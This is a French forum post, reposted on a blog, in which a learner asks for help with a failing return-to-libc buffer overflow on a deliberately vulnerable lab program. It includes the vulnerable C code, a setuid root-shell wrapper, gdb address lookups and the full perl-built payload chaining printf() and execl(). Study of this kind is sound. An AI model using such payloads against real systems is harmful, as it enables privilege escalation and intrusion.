mardi 28 avril 2015

return to libc avec printf() et execl()

Bonjour,

Je tente d'apprendre et surtout de comprendre comment utiliser l'exploitation d'un buffer overflow en passant par libc plutôt que d'utiliser un shellcode.

J'ai suivi le tuto suivant : http://ift.tt/1Gt1WmR

L'ASLR est désactivé.

J'ai le code vulnérable suivant :
Code:

int main(int argc, char **argv) {
        char buffer[7];
        printf("Buffer is at: %08x\n", buffer);
        strcpy(buffer,argv[1]);
        printf("Ici\n");
        return 0;
}

Je le compile ainsi : gcc -o vuln2 vuln2.c

Le code que je tente d'appeler par execl() depuis libc est le suivant :
Code:

int main() {
        setuid(0);
        execl("/bin/sh","/bin/sh", 0);
}

Je le compile ainsi : gcc -o wrapper wrapper.c

Je créé deux variable environnement :
Code:

# export FMT="%3\$n"
# export FAV="/root/Desktop/code/c/elevation/wrapper"

L'offset avant écrasement de EIP est 19

L'exploitation est :
Code:

                          EIP
---------------------------------------------------------------------------
| Offset avant EIP(19) | printf() | execl() | FMT | FAV | FAV | NULL byte |
---------------------------------------------------------------------------

Je récupère les adresses nécessaire ainsi :
Code:

# gdb -q ./vuln2
Reading symbols from /root/Desktop/code/c/elevation/vuln2...done.
(gdb) b main
Breakpoint 1 at 0x8048485: file vuln2.c, line 3.
(gdb) run `perl -e 'print "A"x39'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/code/c/elevation/vuln2 `perl -e 'print "A"x39'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, main (argc=2, argv=0xbffff4d4) at vuln2.c:3
3                printf("Buffer is at: %08x\n", buffer);
(gdb) x/s 0xbfffff75
0xbfffff75:        "%3$n"        => FMT
(gdb) x/s 0xbffffdd6
0xbffffdd6:        "/root/Desktop/code/c/elevation/wrapper"          => FAV
(gdb) p printf
$1 = {<text variable, no debug info>} 0xb7ea5c20 <printf>
(gdb) p execl
$2 = {<text variable, no debug info>} 0xb7efc610 <execl>
(gdb)c
Continuing.
Buffer is at: bffff419
Ici

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Donc :

- printf() => 0xb7ea5c20
- execl() found at b7efc610
- FMT is at 0xbfffff75
- FAV is at 0xbffffdd6

Il me manque mon adresse ou écrire 0 grâce à l'appel printf(FMT).
Dans GDB l'adresse de mon buffer est 0xbffff419 mais dans un terminal classique l'adresse est 0xbffff469:
Code:

# ./vuln2 `perl -e 'print "A"x39'`
Buffer is at: bffff469
Ici
Erreur de segmentation

Donc déjà ici, je ne sais pas laquelle est la bonne mais bon je pars avec 0xbffff469.
Je dois ajouter 19 (offset) + 20 (argument) pour atteindre l'adresse de mon NULL byte.
Cela donne donc : 0xbffff490

Je tente donc d'exploiter ainsi :
Code:

# ./vuln2 `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'`
Buffer is at: bffff469
Ici
Erreur de segmentation
# dmesg
[23506.634482] vuln2[9265]: segfault at 414140fd ip b7e86416 sp bffff47c error 6 in libc-2.13.so[b7e5c000+15e000]

dans gdb :
Code:

# gdb -q ./vuln2
Reading symbols from /root/Desktop/code/c/elevation/vuln2...done.
(gdb) run `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'`
Starting program: /root/Desktop/code/c/elevation/vuln2 `perl -e 'print "A"x19 ."\x20\x5c\xea\xb7"."\x10\xc6\xef\xb7"."\x75\xff\xff\xbf"."\xd6\xfd\xff\xbf"."\xd6\xfd\xff\xbf"."\x90\xf4\xff\xbf"'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000
Buffer is at: bffff419
Ici

Program received signal SIGSEGV, Segmentation fault.
0xb7e86416 in _setjmp () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb)

Auriez-vous une idée du problème ?


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1QFjCDU
via IFTTT

Aucun commentaire:

Enregistrer un commentaire